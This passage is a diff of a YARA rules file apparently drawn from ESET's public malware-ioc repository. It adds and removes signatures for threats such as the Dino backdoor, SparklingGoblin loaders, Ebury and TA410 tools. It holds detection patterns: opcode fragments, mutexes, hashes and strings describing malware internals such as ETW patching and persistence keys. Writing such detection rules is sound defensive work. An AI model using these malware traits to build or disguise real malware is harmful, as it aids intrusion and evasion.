ESET_IIS_Native_Module_PRIVATE : FILE +{ + meta: + description = "Signature to match an IIS native module (clean or malicious)" + author = "ESET Research" + id = "e3bacdc8-fde1-5e83-ac94-79fc345e888d" + date = "2021-08-04" + modified = "2021-08-04" + reference = "https://github.com/eset/malware-ioc/" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L34-L92" + license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" + logic_hash = "5a388dc3253df606e2648d1f9c018e6dde373bbddce66dba69b7aecdd95bac18" + score = 75 + quality = 55 + tags = "FILE" + license = "BSD 2-Clause" + version = "1" + + strings: + $e1 = "This module subscribed to event" + $e2 = "CHttpModule::OnBeginRequest" + $e3 = "CHttpModule::OnPostBeginRequest" + $e4 = "CHttpModule::OnAuthenticateRequest" + $e5 = "CHttpModule::OnPostAuthenticateRequest" + $e6 = "CHttpModule::OnAuthorizeRequest" + $e7 = "CHttpModule::OnPostAuthorizeRequest" + $e8 = "CHttpModule::OnResolveRequestCache" + $e9 = "CHttpModule::OnPostResolveRequestCache" + $e10 = "CHttpModule::OnMapRequestHandler" + $e11 = "CHttpModule::OnPostMapRequestHandler" + $e12 = "CHttpModule::OnAcquireRequestState" + $e13 = "CHttpModule::OnPostAcquireRequestState" + $e14 = "CHttpModule::OnPreExecuteRequestHandler" + $e15 = "CHttpModule::OnPostPreExecuteRequestHandler" + $e16 = "CHttpModule::OnExecuteRequestHandler" + $e17 = "CHttpModule::OnPostExecuteRequestHandler" + $e18 = "CHttpModule::OnReleaseRequestState" + $e19 = "CHttpModule::OnPostReleaseRequestState" + $e20 = "CHttpModule::OnUpdateRequestCache" + $e21 = "CHttpModule::OnPostUpdateRequestCache" + $e22 = "CHttpModule::OnLogRequest" + $e23 = "CHttpModule::OnPostLogRequest" + $e24 = "CHttpModule::OnEndRequest" + $e25 = "CHttpModule::OnPostEndRequest" + $e26 = "CHttpModule::OnSendResponse" + $e27 = "CHttpModule::OnMapPath" + $e28 = "CHttpModule::OnReadEntity" + $e29 = "CHttpModule::OnCustomRequestNotification" + $e30 = "CHttpModule::OnAsyncCompletion" + $e31 = "CGlobalModule::OnGlobalStopListening" + $e32 = "CGlobalModule::OnGlobalCacheCleanup" + $e33 = "CGlobalModule::OnGlobalCacheOperation" + $e34 = "CGlobalModule::OnGlobalHealthCheck" + $e35 = "CGlobalModule::OnGlobalConfigurationChange" + $e36 = "CGlobalModule::OnGlobalFileChange" + $e37 = "CGlobalModule::OnGlobalApplicationStart" + $e38 = "CGlobalModule::OnGlobalApplicationResolveModules" + $e39 = "CGlobalModule::OnGlobalApplicationStop" + $e40 = "CGlobalModule::OnGlobalRSCAQuery" + $e41 = "CGlobalModule::OnGlobalTraceEvent" + $e42 = "CGlobalModule::OnGlobalCustomNotification" + $e43 = "CGlobalModule::OnGlobalThreadCleanup" + $e44 = "CGlobalModule::OnGlobalApplicationPreload" + + condition: + uint16( 0 ) == 0x5A4D and pe.exports ( "RegisterModule" ) and any of ( $e* ) +} + +private rule ESET_Not_Ms_PRIVATE +{ + meta: + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "7edb96a1-a63a-580e-ac26-66fa14ae97d1" + date = "2018-08-22" + modified = "2018-09-05" + reference = "https://github.com/eset/malware-ioc" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/turla-outlook.yar#L34-L40" + license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" + logic_hash = "71f492eaa80bee5e8cc5bec67b2a7fd6f5f71ee2594d9f531043747533c80443" + score = 75 + quality = 80 + tags = "" + + condition: + not for any i in ( 0 .. pe.number_of_signatures - 1 ) : ( pe.signatures [ i ] . issuer contains "Microsoft Corporation" ) +} private rule ESET_Potaosecondstage_PRIVATE { meta: @@ -70626,33 +70688,6 @@ private rule ESET_Is_Elf_PRIVATE condition: $header at 0 } -private rule ESET_Invisimole_Blob_PRIVATE -{ - meta: - description = "Detects InvisiMole blobs by magic values" - author = "ESET Research" - id = "6a179d91-50f1-5400-b141-0f162efd2431" - date = "2021-05-17" - modified = "2021-05-17" - reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L34-L52" - license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "8bddaf874da58fbe6362498f8979b511f39531fe2b98d4be8c099bdafb6d0067" - score = 75 - quality = 80 - tags = "" - license = "BSD 2-Clause" - version = "1" - - strings: - $magic_old_32 = {F9 FF D0 DE} - $magic_old_64 = {64 FF D0 DE} - $magic_new_32 = {86 DA 11 CE} - $magic_new_64 = {64 DA 11 CE} - - condition: - ($magic_old_32 at 0 ) or ( $magic_old_64 at 0 ) or ( $magic_new_32 at 0 ) or ( $magic_new_64 at 0 ) -} private rule ESET_Prikormkaearlyversion_PRIVATE { meta: @@ -70771,3286 +70806,3198 @@ private rule ESET_Prikormkadropper_PRIVATE condition: ($mz at 0 ) and ( ( any of ( $bin* ) ) or ( 3 of ( $kd* ) ) or ( all of ( $inj* ) ) ) } - -private rule ESET_IIS_Native_Module_PRIVATE : FILE +rule ESET_Apt_Windows_TA410_Tendyron_Dropper { meta: - description = "Signature to match an IIS native module (clean or malicious)" + description = "TA410 Tendyron Dropper" author = "ESET Research" - id = "e3bacdc8-fde1-5e83-ac94-79fc345e888d" - date = "2021-08-04" - modified = "2021-08-04" - reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L34-L92" - license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "5a388dc3253df606e2648d1f9c018e6dde373bbddce66dba69b7aecdd95bac18" - score = 75 - quality = 55 - tags = "FILE" - license = "BSD 2-Clause" - version = "1" - - strings: - $e1 = "This module subscribed to event" - $e2 = "CHttpModule::OnBeginRequest" - $e3 = "CHttpModule::OnPostBeginRequest" - $e4 = "CHttpModule::OnAuthenticateRequest" - $e5 = "CHttpModule::OnPostAuthenticateRequest" - $e6 = "CHttpModule::OnAuthorizeRequest" - $e7 = "CHttpModule::OnPostAuthorizeRequest" - $e8 = "CHttpModule::OnResolveRequestCache" - $e9 = "CHttpModule::OnPostResolveRequestCache" - $e10 = "CHttpModule::OnMapRequestHandler" - $e11 = "CHttpModule::OnPostMapRequestHandler" - $e12 = "CHttpModule::OnAcquireRequestState" - $e13 = "CHttpModule::OnPostAcquireRequestState" - $e14 = "CHttpModule::OnPreExecuteRequestHandler" - $e15 = "CHttpModule::OnPostPreExecuteRequestHandler" - $e16 = "CHttpModule::OnExecuteRequestHandler" - $e17 = "CHttpModule::OnPostExecuteRequestHandler" - $e18 = "CHttpModule::OnReleaseRequestState" - $e19 = "CHttpModule::OnPostReleaseRequestState" - $e20 = "CHttpModule::OnUpdateRequestCache" - $e21 = "CHttpModule::OnPostUpdateRequestCache" - $e22 = "CHttpModule::OnLogRequest" - $e23 = "CHttpModule::OnPostLogRequest" - $e24 = "CHttpModule::OnEndRequest" - $e25 = "CHttpModule::OnPostEndRequest" - $e26 = "CHttpModule::OnSendResponse" - $e27 = "CHttpModule::OnMapPath" - $e28 = "CHttpModule::OnReadEntity" - $e29 = "CHttpModule::OnCustomRequestNotification" - $e30 = "CHttpModule::OnAsyncCompletion" - $e31 = "CGlobalModule::OnGlobalStopListening" - $e32 = "CGlobalModule::OnGlobalCacheCleanup" - $e33 = "CGlobalModule::OnGlobalCacheOperation" - $e34 = "CGlobalModule::OnGlobalHealthCheck" - $e35 = "CGlobalModule::OnGlobalConfigurationChange" - $e36 = "CGlobalModule::OnGlobalFileChange" - $e37 = "CGlobalModule::OnGlobalApplicationStart" - $e38 = "CGlobalModule::OnGlobalApplicationResolveModules" - $e39 = "CGlobalModule::OnGlobalApplicationStop" - $e40 = "CGlobalModule::OnGlobalRSCAQuery" - $e41 = "CGlobalModule::OnGlobalTraceEvent" - $e42 = "CGlobalModule::OnGlobalCustomNotification" - $e43 = "CGlobalModule::OnGlobalThreadCleanup" - $e44 = "CGlobalModule::OnGlobalApplicationPreload" - - condition: - uint16( 0 ) == 0x5A4D and pe.exports ( "RegisterModule" ) and any of ( $e* ) -} - -private rule ESET_Not_Ms_PRIVATE -{ - meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "7edb96a1-a63a-580e-ac26-66fa14ae97d1" - date = "2018-08-22" - modified = "2018-09-05" - reference = "https://github.com/eset/malware-ioc" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/turla-outlook.yar#L34-L40" - license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "71f492eaa80bee5e8cc5bec67b2a7fd6f5f71ee2594d9f531043747533c80443" - score = 75 - quality = 80 - tags = "" - - condition: - not for any i in ( 0 .. pe.number_of_signatures - 1 ) : ( pe.signatures [ i ] . issuer contains "Microsoft Corporation" ) -} -rule ESET_Dino -{ - meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "77d0a039-f60c-59ea-bad6-5b4b630007bb" - date = "2015-07-14" - modified = "2015-08-17" + id = "8d1e16d9-b5c2-5427-a0b4-7dd00a9df5ec" + date = "2020-12-09" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/animalfarm/animalfarm.yar#L73-L96" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L34-L53" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "898e527eb8b05050135dee7cbe974100710a1a3a6a5cb8eb03563ee1c0aca01f" + logic_hash = "45f7300a4b85624ad3fda5c73a24f53f53cb7990def4d84e04dcd8e5747f4f2e" score = 75 quality = 80 tags = "" - Author = "Joan Calvet" - Description = "Dino backdoor" - Contact = "github@eset.com" - License = "BSD 2-Clause" + license = "BSD 2-Clause" + version = "1" strings: - $ = "PsmIsANiceM0du1eWith0SugarInsideA" - $ = "destroyPSM" - $ = "FM_PENDING_DOWN_%X" - $ = "%s was canceled after %d try (reached MaxTry parameter)" - $ = "you forgot value name" - $ = "wakeup successfully scheduled in %d minutes" - $ = "BD started at %s" - $ = "decyphering failed on bd" + $s1 = "Global\\{F473B3BE-08EE-4710-A727-9E248F804F4A}" wide + $s2 = "Global\\8D32CCB321B2" wide + $s3 = "Global\\E4FE94F75490" wide + $s4 = "Program Files (x86)\\Internet Explorer\\iexplore.exe" wide + $s5 = "\\RPC Control\\OLE" wide + $s6 = "ALPC Port" wide condition: - any of them + int16 ( 0 ) == 0x5A4D and 4 of them } - -rule ESET_Sparklinggoblin_Chacha20Loader_Richheader +rule ESET_Apt_Windows_TA410_Tendyron_Installer { meta: - description = "Rule matching ChaCha20 loaders rich header" + description = "TA410 Tendyron Installer" author = "ESET Research" - id = "e1dac369-f25e-5cb3-aafa-b0c45f05b295" - date = "2021-03-30" - modified = "2021-08-26" + id = "95ccad1c-99fb-5d38-aec0-650db3e06b35" + date = "2020-12-09" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/sparklinggoblin/SparklingGoblin.yar#L33-L57" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L55-L73" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - hash = "09ffe37a54bc4ebebd8d56098e4c76232f35d821" - hash = "29b147b76bb0d9e09f7297487cb972e6a2905586" - hash = "33f2c3de2457b758fc5824a2b253ad7c7c2e9e37" - hash = "45bef297ce78521eac6ee39e7603e18360e67c5a" - hash = "4cec7cdc78d95c70555a153963064f216dae8799" - hash = "4d4c1a062a0390b20732ba4d65317827f2339b80" - hash = "4f6949a4906b834e83ff951e135e0850fe49d5e4" - logic_hash = "a5c9595036dec0e0aef0a030c590189752217d15d3f53bf3dc537f5b43fae63e" + logic_hash = "9c3afb924747614f27c31cf2c3d98f4932a9d11597a3ac94263bf93be02801da" score = 75 quality = 80 tags = "" license = "BSD 2-Clause" + version = "1" + + strings: + $s1 = "Tendyron" wide + $s2 = "OnKeyToken_KEB.dll" wide + $s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide + $s4 = "Global\\8D32CCB321B2" + $s5 = "\\RTFExploit\\" condition: - pe.rich_signature.length>= 104 and pe.rich_signature.length <= 112 and pe.rich_signature.toolid ( 241 , 40116 ) >= 5 and pe.rich_signature.toolid ( 241 , 40116 ) <= 10 and pe.rich_signature.toolid ( 147 , 30729 ) == 11 and pe.rich_signature.toolid ( 264 , 24215 ) >= 15 and pe.rich_signature.toolid ( 264 , 24215 ) <= 16 + int16 ( 0 ) == 0x5A4D and 3 of them } -rule ESET_Sparklinggoblin_Chacha20 : FILE +rule ESET_Apt_Windows_TA410_Tendyron_Downloader { meta: - description = "SparklingGoblin ChaCha20 implementations" + description = "TA410 Tendyron Downloader" author = "ESET Research" - id = "c0caceca-f685-5786-82f6-3ab7435f8061" - date = "2021-05-20" - modified = "2021-08-26" + id = "afd8a2a7-8d58-5a96-b9e0-6f8b859e83c5" + date = "2020-12-09" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/sparklinggoblin/SparklingGoblin.yar#L59-L368" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L75-L107" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - hash = "2edbea43f5c40c867e5b6bbd93cc972525df598b" - hash = "b6d245d3d49b06645c0578804064ce0c072cbe0f" - hash = "8be6d5f040d0085c62b1459afc627707b0de89cf" - hash = "4668302969fe122874fb2447a80378dcb671c86b" - hash = "9bdecb08e16a23d271d0a3e836d9e7f83d7e2c3b" - hash = "9ce7650f2c08c391a35d69956e171932d116b8bd" - hash = "91b32e030a1f286e7d502ca17e107d4bfbd7394a" - logic_hash = "b742bc22e0ebbce40607cb109b4d6fb03a40c1fb223c8092d93346dd3dd22789" + logic_hash = "16030a78ae9af8783f5913644294ceff861c8264ead8ca99435032be6d7949ef" score = 75 quality = 80 - tags = "FILE" + tags = "" license = "BSD 2-Clause" + version = "1" strings: $chunk_1 = { - 8B 4D ?? - 56 - 8B 75 ?? - 57 - 8B 7D ?? - 8B 04 BB - 01 04 93 - 8B 04 B3 - 33 04 93 - C1 C0 10 - 89 04 B3 - 01 04 8B - 8B 04 BB - 33 04 8B - C1 C0 0C - 89 04 BB - 01 04 93 - 8B 04 B3 - 33 04 93 - C1 C0 08 - 89 04 B3 - 01 04 8B - 8B 04 BB - 33 04 8B - C1 C0 07 - 89 04 BB - } - $chunk_2 = { - 03 4D ?? - 44 03 C0 - 03 55 ?? - 33 F1 - 45 33 D8 - C1 C6 10 - 44 33 F2 - 41 C1 C3 10 - 41 03 FB - 41 C1 C6 10 - 45 03 E6 - 41 03 DA - 44 33 CB - 44 03 EE - 41 C1 C1 10 - 8B C7 - 33 45 ?? - 45 03 F9 - C1 C0 0C - 44 03 C0 - 45 33 D8 - 44 89 45 ?? - 41 C1 C3 08 - 41 03 FB - 44 8B C7 - 44 33 C0 - 41 8B C5 - 33 45 ?? - C1 C0 0C - 03 C8 - 41 C1 C0 07 - 33 F1 - 89 4D ?? - C1 C6 08 - 44 03 EE - 41 8B CD - 33 C8 - 41 8B C4 - 33 45 ?? - C1 C0 0C - 03 D0 - C1 C1 07 - 44 33 F2 - 89 55 ?? - 41 C1 C6 08 - 45 03 E6 - 41 8B D4 - 33 D0 - 41 8B C7 - 41 33 C2 - C1 C2 07 - C1 C0 0C - 03 D8 - 44 33 CB - 41 C1 C1 08 - 45 03 F9 - 45 8B D7 - 44 33 D0 - 8B 45 ?? - 03 C1 - 41 C1 C2 07 - 44 33 C8 - 89 45 ?? - 41 C1 C1 10 - 45 03 E1 - 41 8B C4 - 33 C1 - 8B 4D ?? - C1 C0 0C - 03 C8 - 44 33 C9 - 89 4D ?? - 89 4D ?? - 41 C1 C1 08 - 45 03 E1 - 41 8B CC - 33 C8 - 8B 45 ?? - C1 C1 07 - 89 4D ?? - 89 4D ?? - 03 C2 - 41 03 D8 - 89 45 ?? - 41 33 C3 - C1 C0 10 - 44 03 F8 - 41 8B CF - 33 CA - 8B 55 ?? - } - $chunk_3 = { - C7 45 ?? 65 78 70 61 - 4C 8D 45 ?? - C7 45 ?? 6E 64 20 33 - 4D 8B F9 - C7 45 ?? 32 2D 62 79 - 4C 2B C1 - C7 45 ?? 74 65 20 6B - } - $chunk_4 = { - 0F B6 02 - 0F B6 4A ?? - C1 E1 08 - 0B C8 - 0F B6 42 ?? - C1 E1 08 - 0B C8 - 0F B6 42 ?? - C1 E1 08 - 0B C8 - 41 89 0C 10 - 48 8D 52 ?? - 49 83 E9 01 - } - $chunk_5 = { - 03 4D ?? - 44 03 C0 - 03 55 ?? - 33 F1 - 41 33 F8 - C1 C6 10 - 44 33 F2 - C1 C7 10 - 44 03 DF - 41 C1 C6 10 - 45 03 E6 - 44 03 CB - 45 33 D1 - 44 03 EE - 41 C1 C2 10 - 41 8B C3 - 33 45 ?? - 45 03 FA - C1 C0 0C - 44 03 C0 - 41 33 F8 - 44 89 45 ?? - C1 C7 08 - 44 03 DF - 45 8B C3 - 44 33 C0 - 41 8B C5 - 33 45 ?? - C1 C0 0C - 03 C8 - 41 C1 C0 07 - 33 F1 - 89 4D ?? - C1 C6 08 - 44 03 EE - 41 8B CD - 33 C8 - 41 8B C4 - 33 45 ?? - C1 C0 0C - 03 D0 - C1 C1 07 - 44 33 F2 - 89 55 ?? - 41 C1 C6 08 - 45 03 E6 - 41 8B D4 - 33 D0 - 41 8B C7 - 33 C3 - C1 C2 07 - C1 C0 0C - 44 03 C8 - 45 33 D1 - 41 C1 C2 08 - 45 03 FA - 41 8B DF - 33 D8 - 8B 45 ?? - 03 C1 - C1 C3 07 - 44 33 D0 - 89 45 ?? - 41 C1 C2 10 - 45 03 E2 - 41 8B C4 - 33 C1 - 8B 4D ?? - C1 C0 0C - 03 C8 - 44 33 D1 - 89 4D ?? - 89 4D ?? - 41 C1 C2 08 - 45 03 E2 - 41 8B CC - 33 C8 - 8B 45 ?? - C1 C1 07 - 89 4D ?? - 89 4D ?? - 03 C2 - 45 03 C8 - 89 45 ?? - 33 C7 - C1 C0 10 - 44 03 F8 - 41 8B CF - 33 CA - 8B 55 ?? - C1 C1 0C - 03 D1 - 8B FA - 89 55 ?? - 33 F8 - 89 55 ?? - 8B 55 ?? - 03 D3 - C1 C7 08 - 44 03 FF - 41 8B C7 - 33 C1 - C1 C0 07 - 89 45 ?? - 89 45 ?? - 8B C2 - 33 C6 - C1 C0 10 - 44 03 D8 - 41 33 DB - C1 C3 0C - 03 D3 - 8B F2 - 89 55 ?? - 33 F0 - 41 8B C1 - 41 33 C6 - C1 C6 08 - C1 C0 10 - 44 03 DE - 44 03 E8 - 41 33 DB - 41 8B CD - C1 C3 07 - 41 33 C8 - 44 8B 45 ?? - C1 C1 0C - 44 03 C9 - 45 8B F1 - 44 33 F0 - 41 C1 C6 08 - 45 03 EE - 41 8B C5 - 33 C1 - 8B 4D ?? - C1 C0 07 + 8A 10 + 80 F2 5C + 80 C2 5C + 88 10 + 40 + 83 E9 01 + 75 ?? } + $s1 = "startModule" fullword condition: - any of them and filesize < 450KB + int16 ( 0 ) == 0x5A4D and all of them } -rule ESET_Sparklinggoblin_Etweventwrite +rule ESET_Apt_Windows_TA410_X4_Strings { meta: - description = "SparklingGoblin EtwEventWrite patching" + description = "Matches various strings found in TA410 X4" author = "ESET Research" - id = "27b36ee1-a98c-5174-a156-8e0b0d0a58cd" - date = "2021-05-20" - modified = "2021-08-26" + id = "e6af4516-8b79-5182-8571-7dd530632ddc" + date = "2020-10-09" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/sparklinggoblin/SparklingGoblin.yar#L370-L463" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L109-L125" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - hash = "2edbea43f5c40c867e5b6bbd93cc972525df598b" - hash = "b6d245d3d49b06645c0578804064ce0c072cbe0f" - hash = "8be6d5f040d0085c62b1459afc627707b0de89cf" - hash = "4668302969fe122874fb2447a80378dcb671c86b" - hash = "9bdecb08e16a23d271d0a3e836d9e7f83d7e2c3b" - hash = "9ce7650f2c08c391a35d69956e171932d116b8bd" - logic_hash = "45615dcc5302392c18052818071623a9d1a1008c460bdb24a4acfb4300356c6b" + logic_hash = "d4b2321a6d0eb0ca8d7c47596af2a45c22b3aef15d1832d64d6588a62cab312a" score = 75 - quality = 80 + quality = 74 tags = "" license = "BSD 2-Clause" + version = "1" strings: - $chunk_1 = { - 48 8D 0D ?? ?? ?? ?? - C7 44 24 ?? 48 31 C0 C3 - FF 15 ?? ?? ?? ?? - 48 8B C8 - 48 8D 15 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? - 83 64 24 ?? 00 - 4C 8D 4C 24 ?? - BF 04 00 00 00 - 48 8B C8 - 8B D7 - 48 8B D8 - 44 8D 47 ?? - FF 15 ?? ?? ?? ?? - 44 8B C7 - 48 8D 54 24 ?? - 48 8B CB - E8 ?? ?? ?? ?? - 44 8B 44 24 ?? - 4C 8D 4C 24 ?? - 8B D7 - 48 8B CB - FF 15 ?? ?? ?? ?? - 48 8B 05 ?? ?? ?? ?? - } - $chunk_2 = { - 55 - 8B EC - 51 - 51 - 57 - 68 08 1A 41 00 - 66 C7 45 ?? C2 14 - C6 45 ?? 00 - FF 15 ?? ?? ?? ?? - 68 10 1A 41 00 - 50 - FF 15 ?? ?? ?? ?? - 83 65 ?? 00 - 8B F8 - 8D 45 ?? - 50 - 6A 40 - 6A 03 - 57 - FF 15 ?? ?? ?? ?? - 6A 03 - 8D 45 ?? - 50 - 57 - E8 ?? ?? ?? ?? - 83 C4 0C - 8D 45 ?? - 50 - FF 75 ?? - 6A 03 - 57 - FF 15 ?? ?? ?? ?? - } - $chunk_3 = { - 48 8D 0D ?? ?? ?? ?? - C7 44 24 ?? 48 31 C0 C3 - FF 15 ?? ?? ?? ?? - 48 8B C8 - 48 8D 15 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? - } + $s1 = "[X]InLoadSC" ascii wide nocase + $s3 = "MachineKeys\\Log\\rsa.txt" ascii wide nocase + $s4 = "MachineKeys\\Log\\output.log" ascii wide nocase condition: any of them } -rule ESET_Sparklinggoblin_Mutex +rule ESET_Apt_Windows_TA410_X4_Hash_Values : FILE { meta: - description = "SparklingGoblin ChaCha20 loaders mutexes" + description = "Matches X4 hash function found in TA410 X4" author = "ESET Research" - id = "e33d2bc1-29d6-5117-8e0f-31f8bced0979" - date = "2021-05-20" - modified = "2021-08-26" + id = "859bb977-82d0-5314-b1a8-fb3bb06a1b28" + date = "2020-10-09" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/sparklinggoblin/SparklingGoblin.yar#L465-L489" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L127-L149" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - hash = "2edbea43f5c40c867e5b6bbd93cc972525df598b" - hash = "b6d245d3d49b06645c0578804064ce0c072cbe0f" - hash = "8be6d5f040d0085c62b1459afc627707b0de89cf" - hash = "4668302969fe122874fb2447a80378dcb671c86b" - hash = "9bdecb08e16a23d271d0a3e836d9e7f83d7e2c3b" - hash = "9ce7650f2c08c391a35d69956e171932d116b8bd" - logic_hash = "00fbd514c8e2d6dea3b0f175e857a613e158b64caf1f970e814d62f1ebe9d35c" + logic_hash = "bcf3891ff888ca99af9aa0e239b29241ae819022607fb829c5731267add308ea" score = 75 quality = 80 - tags = "" + tags = "FILE" license = "BSD 2-Clause" + version = "1" strings: - $mutex_1 = "kREwdFrOlvASgP4zWZyV89m6T2K0bIno" - $mutex_2 = "v5EPQFOImpTLaGZes3Nl1JSKHku8AyCw" + $s1 = {D1 10 76 C2 B6 03} + $s2 = {71 3E A8 0D} + $s3 = {DC 78 94 0E} + $s4 = {40 0D E7 D6 06} + $s5 = {83 BB FD E8 06} + $s6 = {92 9D 9B FF EC 03} + $s7 = {DD 0E FC FA F5 03} + $s8 = {15 60 1E FB F5 03} condition: - any of them + uint16( 0 ) == 0x5a4d and 4 of them } - -rule ESET_Libkeyutils_With_Ctor +rule ESET_Apt_Windows_TA410_X4_Hash_Fct : FILE { meta: - description = "This rule detects if a libkeyutils.so shared library has a potentially malicious function to be called when loaded, either via a glibc constructor (DT_INIT + .ctors) or an initializer function in DT_INIT_ARRAY." - author = "ESET, spol. s r.o." - id = "7b466bf7-f895-569d-99b0-eca95a6ebc83" - date = "2024-02-01" - modified = "2024-04-29" + description = "Matches X4 hash function found in TA410 X4" + author = "ESET Research" + id = "5ca435a4-7c6e-594d-8c4d-d577735884e6" + date = "2020-10-09" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/windigo/ebury.yar#L3-L54" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L151-L187" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - hash = "e7debd6e453192ad8376db5bab03ed0d87566591" - logic_hash = "c6172aebc67a05fb044b0450aafcc71c7d1fd2831985587d1a9ad53f59e14214" - score = 40 + logic_hash = "3b2d44cb7685a99e9aeb08f886f6876d43ee99d1e52e40705c3fa97ce3bfa9a0" + score = 75 quality = 80 - tags = "" + tags = "FILE" license = "BSD 2-Clause" - version = 2 + version = "1" strings: - $libname = "libkeyutils.so.1" + $chunk_1 = { + 0F B6 01 + 84 C0 + 74 ?? + 48 69 D2 83 00 00 00 + 48 0F BE C0 + 48 03 D0 + 48 FF C1 + E9 ?? ?? ?? ?? + } condition: - for any ptr_size in ( 4 , 8 ) : ( ( ( ptr_size == 4 and elf.machine == elf.EM_386 ) or ( ptr_size == 8 and elf.machine == elf.EM_X86_64 ) ) and for any d in elf.dynamic : ( d.type == elf.DT_SONAME and ( for any s in elf.sections : ( s.name == ".dynstr" and $libname at ( s.offset + d.val ) ) or for any s in elf.dynamic : ( s.type == elf.DT_STRTAB and $libname at ( s.val + d.val ) ) ) ) and ( for any s in elf.sections : ( s.name == ".ctors" and s.size > 2 * ptr_size ) or for any d in elf.dynamic : ( d.type == elf.DT_INIT_ARRAYSZ and d.val > ptr_size ) ) ) + uint16( 0 ) == 0x5a4d and any of them } -rule ESET_Ebury_V1_7_Crypto +rule ESET_Apt_Windows_TA410_Lookback_Decryption : FILE { meta: - description = "This rule detects the strings decryption routine in Ebury v1.7 and v1.8" - author = "ESET, spol. s r.o." - id = "93dadf5f-b572-5217-8c82-4957c6d24955" - date = "2023-08-01" - modified = "2024-04-29" + description = "Matches encryption/decryption function used by LookBack." + author = "ESET Research" + id = "91947c6b-f357-5cf8-8522-4dcd517d01cb" + date = "2021-10-12" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/windigo/ebury.yar#L56-L97" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L189-L254" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - hash = "e7debd6e453192ad8376db5bab03ed0d87566591" - logic_hash = "41908951069a472d7528f2f228f3681f008d16a0436e341d339909efc4933e66" + logic_hash = "016dca6be654fcd193acc481e6a998efbb77e7ebd09b26614422be1136dd02c0" score = 75 quality = 80 - tags = "" + tags = "FILE" license = "BSD 2-Clause" - version = 1 + version = "1" strings: - $64 = { - 48 69 ( 9C 24 ?? ?? ?? ?? | 5C 24 ?? | D2) 6D 4E C6 41 // imul rbx, [rsp+_buf], 41C64E6Dh - 8B (0C 16 | 34 07) // mov ecx, [rsi+rdx] - 48 81 C? 39 30 00 00 // add rbx, 12345 - ( 31 D? | // xor ecx, ebx - 31 D? 48 89 9C 24 ?? ?? ?? ?? | // mov [rsp+_buf], rbx - 31 D? 48 89 5C 24 ?? ) // ^ optional - 89 (0C 10 | 34 01) // mov [rax+rdx], ecx - 48 